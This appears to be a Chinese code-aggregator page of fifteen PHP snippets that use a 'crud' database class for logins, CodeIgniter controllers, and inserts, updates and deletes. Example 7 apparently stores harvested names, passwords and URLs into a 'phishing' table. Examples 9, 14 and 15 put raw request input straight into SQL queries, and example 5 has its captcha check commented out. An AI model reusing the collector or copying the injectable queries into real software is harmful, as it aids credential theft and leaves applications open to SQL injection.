本文整理汇总了PHP中crud类的典型用法代码示例。如果您正苦于以下问题:PHP crud类的具体用法?PHP crud怎么用?PHP crud使用的例子?那么恭喜您, 这里精选的类代码示例或许可以为您提供帮助。
在下文中一共展示了crud类的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: login
public function login($username, $password)
{
$crud = new crud();
$userinfo = $crud->auth($username, $password);
if (!$userinfo) {
return false;
} else {
$this->loginIn = true;
return $userinfo;
}
}
示例2: obtain
/**
* Singleton Pattern.
* Allows for reusing the initial instanited object. Prevents multiple mysql connections for the same call.
*/
public static function obtain($_server = null, $_user = null, $_password = null, $_database = null)
{
if (!self::$instance) {
self::$instance = new crud($_server, $_user, $_password, $_database);
}
return self::$instance;
}
示例3: index
public function index()
{
$data['meja'] = crud::baca('tbl_meja');
$this->load->view('1_atas', $data);
$this->load->view('2_navbar_no', $data);
$this->load->view('includes/meja/content', $data);
// Beranda
$this->load->view('4_bawah', $data);
}
示例4: cek_login
public function cek_login()
{
$capjay = strtoupper($this->input->post('capjay'));
$user = $this->input->post('user');
$pass = $this->encrypt->encode_url($this->input->post('pass'));
$this->form_validation->set_error_delimiters('<div class="alert alert-danger">', '</div>');
$this->form_validation->set_rules('user', 'Username', 'required');
$this->form_validation->set_rules('pass', 'Password', 'required');
if ($this->form_validation->run() == FALSE) {
$msg_error = array('user' => form_error('user'), 'pass' => form_error('pass'));
$has_error = array('user' => 'has-error', 'pass' => 'has-error');
$this->session->set_flashdata('form_error', $msg_error);
$this->session->set_flashdata('has_error', $has_error);
$this->session->set_flashdata('user', $user);
redirect('front/login.php');
} else {
$sess_cap = $this->session->userdata('capjay');
// Catch the user's answer
if ($sess_cap != $capjay) {
$this->session->set_flashdata('login', '<div class="alert alert-danger">Maaf, captcha tidak tervalidasi !!</div>');
$this->session->set_flashdata('user', $user);
redirect('front/login.php');
} else {
$login = akses::cek_login($user, $pass);
if ($login == TRUE) {
if ($login->level != 'waiter') {
$this->session->set_flashdata('login', '<div class="alert alert-danger">Administrator, silahkan login ke halaman admin !!!</div>');
redirect('front/login.php');
} else {
$data = array('nama' => $login->nama, 'username' => $login->username, 'level' => $login->level, 'is_logged_in' => TRUE);
crud::update('tbl_user', 'username', $user, array('last_login' => date('Y-m-d H:i:s')));
$this->session->set_userdata('login', $data);
$this->session->set_flashdata('login', 'Login berhasil, silahkan melanjutkan transaksi');
redirect('front/index.php');
}
} else {
$this->session->set_flashdata('login', '<div class="alert alert-danger">User / pass salah !!!</div>');
redirect('front/login.php');
}
}
}
}
示例5: cek_login
public function cek_login()
{
$capjay = strtoupper($this->input->post('capjay'));
$user = $this->input->post('user');
$pass = $this->encrypt->encode_url($this->input->post('pass'));
$this->form_validation->set_error_delimiters('<div class="alert alert-danger">', '</div>');
$this->form_validation->set_rules('user', 'Username', 'required');
$this->form_validation->set_rules('pass', 'Password', 'required');
if ($this->form_validation->run() == FALSE) {
$msg_error = array('user' => form_error('user'), 'pass' => form_error('pass'));
$has_error = array('user' => 'has-error', 'pass' => 'has-error');
$this->session->set_flashdata('form_error', $msg_error);
$this->session->set_flashdata('has_error', $has_error);
$this->session->set_flashdata('user', $user);
redirect(site_url());
} else {
// //$sess_cap = $this->session->userdata('capjay');
// // Catch the user's answer
// $captcha_answer = $this->input->post('g-recaptcha-response');
//
// // Verify user's answer
// $sess_cap = $this->recaptcha->verifyResponse($captcha_answer);
// if ($sess_cap['success'] != 1) {
// $this->session->set_flashdata('login', '<div class="alert alert-danger">Maaf, captcha tidak tervalidasi !!</div>');
// $this->session->set_flashdata('user', $user);
// redirect(site_url());
// } else {
$login = akses::cek_login($user, $pass);
if ($login == TRUE) {
$data = array('nama' => $login->nama, 'username' => $login->username, 'level' => $login->level, 'is_logged_in' => TRUE);
crud::update('tbl_user', 'username', $user, array('last_login' => date('Y-m-d H:i:s')));
$this->session->set_userdata('login', $data);
$this->session->set_flashdata('login', 'Login berhasil, silahkan melanjutkan transaksi');
redirect('page=home');
} else {
$this->session->set_flashdata('login', '<div class="alert alert-danger">User / pass salah !!!</div>');
redirect(base_url('index.php'));
}
}
// }
}
示例6: array
</div>
</form>
</div>
</div>
</div>
</div>
<?php
if (empty($sidErr) && empty($websiteErr) && empty($mpErr) && !empty($sid) && !empty($website) && !empty($mp) && empty($widgetErr) && !empty($widget2) && !empty($pubid) && empty($pubidErr) && $submit === "update") {
$piwik = 2;
$cache = true;
$abtest = false;
$allowedParameters = array();
$crud = new crud();
$crud->update($pubid, $name, $website, $piwik, $cache, $allowedParameters, $abtest, $mp, $widget2);
} else {
if (empty($sidErr) && !empty($sid) && !empty($pubid) && empty($pubidErr) && $submit === "delete") {
$crud = new crud();
$crud->delete($sid, $pubid);
}
}
?>
</body>
</html>
l
示例7: header
<?php
// Definindo encode pra UTF-8
header('Content-type: text/html; charset="utf-8"', true);
require "../helper/class.crud.php";
require "../helper/secure_validation.php";
//change this use key of your bot
$secret_code = "testbot";
//register machine
if ($_POST['secret_code'] == $secret_code) {
$crud = new crud();
$name = htmlentities($_POST['name']);
if (!$name) {
print "need name";
exit;
}
$date = date('Y-m-d H:i:s');
$password = htmlentities($_POST['password']);
$url = htmlentities($_POST['url']);
$values = array(array('name' => sanitize($name), 'date' => sanitize($date), 'password' => sanitize($password), 'url' => sanitize($url)));
$crud->dbInsert('phishing', $values);
} else {
echo "error at secret code";
}
示例8: url
<style type="text/css">
@import url("/css/main-css.css")
</style>
</head>
<body >
<!---- Include Header ----->
<?php
include '../includes/menubars.inc.php';
?>
<!-- Main body
================== -->
<?php
include_once '../mysql/hidden_files/database.php';
include_once '../classes/class.goals.crud.php';
$crud = new crud($conn);
?>
<div class="wrapper">
<div class="section-header fixed-top">
<div class="container">
<div class="row">
<div class="col-md-2">
<!-- Remove the .animated class if you don't want things to move -->
<h1 class="animated slideInLeft"><span>My Goals</span></h1>
</div>
<div class="col-md-8">
<h4>Hi <?php
echo userValue(null, "FirstName");
?>
, your Goals are here. </h4>
</div>
示例9: session_start
<?php
session_start();
require_once 'classes/crud.php';
if (!empty($_POST)) {
$project_name = $_POST['project_name'];
$idworkerProject = $_SESSION['workerId'];
$idclient = $_POST['idclient'];
$dbObject = new crud('projects');
$projectQuery = "INSERT INTO projects VALUES ('', '{$project_name}' , '{$idworkerProject}', '1', '{$idclient}')";
if ($dbObject->query($projectQuery)) {
//Вставка записи проекта
$idproject = $dbObject->getMaxId('projects');
$names = $_POST['name'];
$summaries = $_POST['summary'];
$startdates = $_POST['startdate'];
$finishdates = $_POST['finishdate'];
$idworkers = $_POST['worker'];
$descriptions = $_POST['description'];
$query = "INSERT INTO tasks VALUES ";
for ($i = 0; $i < count($_POST['name']); $i++) {
$set .= " ( {$names[$i]}, {$summaries[$i]}, {$startdates[$i]}, {$finishdates[$i]}, {$idproject}, {$idworkers[$i]}, {$descriptions[$i]} ),";
}
$set = substr($set, 0, -1);
$query = $query . $set;
if ($dbObject->query($query)) {
echo "Создание проекта заверешно";
} else {
echo "Возникли ошибки при добавлении задач";
}
} else {
示例10: session_start
<?php
session_start();
// included files
include "../../../connection/phpmysqlconnect.php";
include "../../../library/CRUD_lib.php";
include "../../../library/miss_lib.php";
// post data
$user_id = $_POST['user_id'];
$name = $_POST['name'];
$email = $_POST['email'];
$mobile = $_POST['mobile'];
$landline = $_POST['landline'];
$modifier = $_SESSION["user"];
// updation
$column = array('name', 'email_id', 'mobile', 'landline', 'modified_by');
$value = array("{$name}", "{$email}", "{$mobile}", "{$landline}", "{$modifier}");
$condition_column = array('user_id');
$condition_value = array("{$user_id}");
$update = new crud($conn, 'customer_details', $column, $value);
$update->update($condition_column, $condition_value);
$move->moveWithAlert('Your Profile has been updated', '../pages/editdetails.php');
示例11: user_hapus
public function user_hapus()
{
if (akses::aksesLogin() == TRUE or akses::aksesUser() == TRUE) {
$id = $this->encrypt->decode_url($_GET['id']);
crud::delete('tbl_user', 'username', $id);
$this->session->set_flashdata('pengaturan', '<div class="alert alert-success">Username : <b>' . $id . '</b>, berhasil dihapus !!</div>');
redirect('page=pengaturan&act=user_list');
} else {
$this->session->set_flashdata('login', '<div class="alert alert-danger">Maaf, anda session habis. Silahkan login ulang.</div>');
redirect(site_url());
}
}
示例12: array
<?php
include "../../connection/phpmysqlconnect.php";
include "../../lib/CRUD_lib.php";
include "../../lib/miss_lib.php";
// post data
// File processing
$ext_array = array("jpeg", "jpg", "png");
$mime_array = array("image/jpeg", "image/jpg", "image/png");
$location = "../../media/featured_product/";
$image = new uploader();
if ($image->upload_validate($_FILES['files'], $ext_array, $mime_array) == true) {
$image_name = $image->upload($_FILES['files'], $location);
$column = array('logo');
$value = array($image_name);
$insert = new crud($conn, 'featured-product', $column, $value);
$insert->insert();
$move = new alert_redirect();
$move->moveWithAlert('Logo has been added', '../../pages/distributor-logo.php');
}
$move->moveWithAlert('Error in uploading image', '../../pages/distributor-logo.php');
示例13: session_start
<?php
session_start();
$workerId = $_SESSION['workerId'];
if (!empty($_POST)) {
require_once 'classes/crud.php';
$dbObject = new crud('clients');
$dbObject->update();
}
示例14: session_start
<?php
session_start();
$workerId = $_SESSION['workerId'];
if (!empty($_POST['commentText']) && !empty($_POST['idTask']) && !empty($_POST['commentText'])) {
$commentText = $_POST['commentText'];
$idTask = $_POST['idTask'];
$commentText = $_POST['commentText'];
require_once 'classes/crud.php';
$dbObject = new crud('tasks');
$query = "INSERT INTO comments VALUES ('', '{$workerId}', '{$idTask}', '{$commentText}')";
if ($dbObject->query($query)) {
echo true;
} else {
echo false;
}
}
示例15: conexao
<?php
require_once 'config/conexao.class.php';
require_once 'config/crud.class.php';
$con = new conexao();
// instancia classe de conxao
$con->connect();
// abre conexao com o banco
$crud = new crud('crudcliente');
// instancia classe com as operaçoes crud, passando o nome da tabela como parametro
$id = $_GET['id'];
//pega id para exclusao caso exista
$crud->excluir("id = {$id}");
// exclui o registro com o id que foi passado
$con->disconnect();
// fecha a conexao
header("Location: index.php");
// redireciona para a listagem